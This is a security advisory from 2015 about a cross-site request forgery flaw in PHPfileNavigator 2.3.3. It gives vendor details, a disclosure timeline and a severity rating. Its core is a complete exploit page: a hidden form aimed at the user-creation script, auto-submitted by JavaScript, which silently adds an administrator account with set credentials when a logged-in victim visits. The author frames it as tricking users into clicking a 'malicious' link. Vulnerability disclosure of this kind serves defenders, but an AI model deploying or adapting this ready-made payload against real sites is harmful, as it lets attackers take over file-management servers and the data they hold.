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PHPfileNavigator 2.3.3 Cross Site Request Forgery

Posted on 13 August 2015

[+] Credits: John Page aka hyp3rlinx

[+] Website: hyp3rlinx.altervista.org

[+] Source:
http://hyp3rlinx.altervista.org/advisories/AS-PHPFILENAVIGATOR0812a.txt

Vendor:
================================
pfn.sourceforge.net

Product:
===================================
PHPfileNavigator v2.3.3 (pfn)

Is state-of-the-art, open source web based application
to complete manage your files and folders.

Vulnerability Type:
================================
CSRF add arbitrary user accounts

CVE Reference:
==============
N/A

Vulnerability Details:
=====================
No CSRF token exists when creating user accounts, this allows
us to exploit the application and add arbitrary users The
?PHPSESSID= cookie used in URL is useless as we can just replace
the value with whatever.

e.g.

?PHPSESSID='inthesignofevil'

or just omit it all together makes no difference exploit will
still succeed. Next create our form POST and a self calling
Javascript function, then get a logged in user to click our
malicious linx or visit our webpage where they will be PWN3D.

Tested using xampp-1.7.0

Exploit code(s):
===============

<!DOCTYPE>
<html>

<!-- CSRF exploit add arbitrary user accounts with Admin privs -->
 <form id="USERIOS_EVILOS" action="
http://localhost/PHPfileNavigator/pfn-2.3.3/xestion/usuarios/gdar.php?PHPSESSID=inthesignofevil"
method="post">
 <input type="hidden" name="id_usuario" value="" />
 <input type="text" id="nome" name="nome" value="hyp3rlinx" class="text"
tabindex="10" />
 <input type="text" id="usuario" name="usuario" value="hyp3rlinx"
class="text" tabindex="20" />
 <input type="password" id="contrasinal" name="contrasinal"
value="abc123" class="text" tabindex="30" />
 <input type="password" id="rep_contrasinal" name="rep_contrasinal"
value="abc123" class="text" tabindex="40" />
 <input type="text" id="email" name="email" value="hell@abysmalgod.com"
class="text" tabindex="50" />
 <input type="text" id="max_descargas" name="max_descargas" value="0"
class="text" tabindex="60" />
 <input type="text" id="actual_descargas" name="actual_descargas"
value="0" class="text" tabindex="70" />
 <select id="cambiar_datos" name="cambiar_datos" tabindex="75">
 <option value="1" >ON</option>
 <option value="0" selected="selected">OFF</option>
 </select>
 <select id="id_grupo" name="id_grupo" tabindex="80">
 <option value="0" selected="selected">Administrators</option>
 </select>
 <select id="admin" name="admin" tabindex="90">
 <option value="1" selected="selected">ON</option>
 <option value="0" >OFF</option>
 </select>
 <select id="estado" name="estado" tabindex="100">
 <option value="1" selected="selected">ON</option>
 <option value="0" >OFF</option>
 </select>
 <input type="checkbox" id="Fraices_1" name="Fraices[]" value="1"
 class="checkbox" />
 </form>

<script>

(function PWN3D(){
var e=document.getElementById('USERIOS_EVILOS')
e.submit()
})()

</script>

</body>
</html>

Disclosure Timeline:
=========================================================

Vendor Notification: August 8, 2015
August 12, 2015 : Public Disclosure

Severity Level:
=========================================================
High

Description:
==========================================================

Request Method(s): [+] POST

Vulnerable Product: [+] PHPfileNavigator v2.3.3 (pfn)

Vulnerable Parameter(s): [+] id_usuario, id_grupo

Affected Area(s): [+] Admin

===========================================================

[+] Disclaimer
Permission is hereby granted for the redistribution of this advisory,
provided that it is not altered except by reformatting it, and that due
credit is given. Permission is explicitly given for insertion in
vulnerability databases and similar, provided that due credit is given to
the author.
The author is not responsible for any misuse of the information contained
herein and prohibits any malicious use of all security related information
or exploits by the author or elsewhere.

by hyp3rlinx

 

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